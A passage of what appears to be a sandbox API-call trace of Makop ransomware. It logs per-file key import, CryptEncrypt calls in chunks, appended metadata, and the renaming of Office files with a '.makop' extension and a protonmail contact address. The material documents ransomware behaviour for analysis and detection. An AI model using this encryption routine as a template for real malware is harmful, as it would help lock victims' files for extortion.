hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x23f90, dwBufLen=0x23f90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x23f90) returned 1 [0093.995] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.995] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x23f90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x23f90, lpOverlapped=0x0) returned 1 [0093.996] CryptDestroyKey (hKey=0x48c7128) returned 1 [0093.996] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x24054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.996] SetEndOfFile (hFile=0xf0) returned 1 [0094.004] GetProcessHeap () returned 0x48a0000 [0094.005] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0094.005] GetProcessHeap () returned 0x48a0000 [0094.005] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0094.005] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0094.005] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0094.006] CloseHandle (hObject=0xf0) returned 1 [0094.007] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0094.007] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0094.007] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0094.007] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform") returned 79 [0094.007] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*") returned 83 [0094.007] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0094.010] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.010] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0094.010] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0094.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0094.011] GetProcessHeap () returned 0x48a0000 [0094.011] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0094.011] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0094.011] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0094.011] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.011] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.011] GetProcessHeap () returned 0x48a0000 [0094.012] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0094.012] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0094.012] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.012] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0094.016] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0094.016] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0094.016] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0094.016] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0094.016] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0094.016] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.016] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.016] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.016] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x24500, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x24500, lpOverlapped=0x0) returned 1 [0094.019] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x24500, dwBufLen=0x24500 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x24500) returned 1 [0094.021] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.021] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x24500, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x24500, lpOverlapped=0x0) returned 1 [0094.022] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.022] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x245c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.022] SetEndOfFile (hFile=0xf0) returned 1 [0094.029] GetProcessHeap () returned 0x48a0000 [0094.029] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0094.029] GetProcessHeap () returned 0x48a0000 [0094.029] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0094.029] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 136 [0094.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0094.031] CloseHandle (hObject=0xf0) returned 1 [0094.031] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1 [0094.031] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0094.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0094.037] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=1828608) returned 1 [0094.037] GetProcessHeap () returned 0x48a0000 [0094.037] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0094.037] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0094.037] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.037] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0094.037] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.038] GetProcessHeap () returned 0x48a0000 [0094.038] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0094.038] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40) returned 1 [0094.038] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.038] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa4*=0x40, lpOverlapped=0x0) returned 1 [0094.041] WriteFile (in: hFile=0xf0, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0094.042] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0094.042] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0094.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0094.042] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0094.042] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0094.042] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0094.042] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0094.053] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0094.055] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.055] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0094.057] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1be7d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.057] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0094.057] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x94d00, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0094.057] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0094.067] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0094.069] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x94d00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.069] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0094.071] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1be7d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.071] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0094.071] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17e700, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0094.071] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0094.078] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0094.080] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17e700, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.080] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0094.082] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1be7d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.082] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0094.082] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.082] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1be7d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.082] SetEndOfFile (hFile=0xf0) returned 1 [0094.092] GetProcessHeap () returned 0x48a0000 [0094.092] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0094.092] GetProcessHeap () returned 0x48a0000 [0094.092] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0094.092] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 139 [0094.092] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0094.093] CloseHandle (hObject=0xf0) returned 1 [0094.094] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="OSPPOB~1.XRM")) returned 1 [0094.094] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0094.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0094.094] GetProcessHeap () returned 0x48a0000 [0094.095] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0094.095] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0094.095] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0094.095] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0094.099] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.099] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.099] GetProcessHeap () returned 0x48a0000 [0094.099] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x70) returned 0x48c3400 [0094.099] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3400*, pdwDataLen=0x6577a90*=0x70, dwBufLen=0x70 | out: pbData=0x48c3400*, pdwDataLen=0x6577a90*=0x70) returned 1 [0094.099] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.099] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3400*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3400*, lpNumberOfBytesWritten=0x6577aa8*=0x70, lpOverlapped=0x0) returned 1 [0094.100] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0094.100] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0094.100] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0094.100] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0094.100] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0094.101] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.101] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.101] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.101] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2d7e, 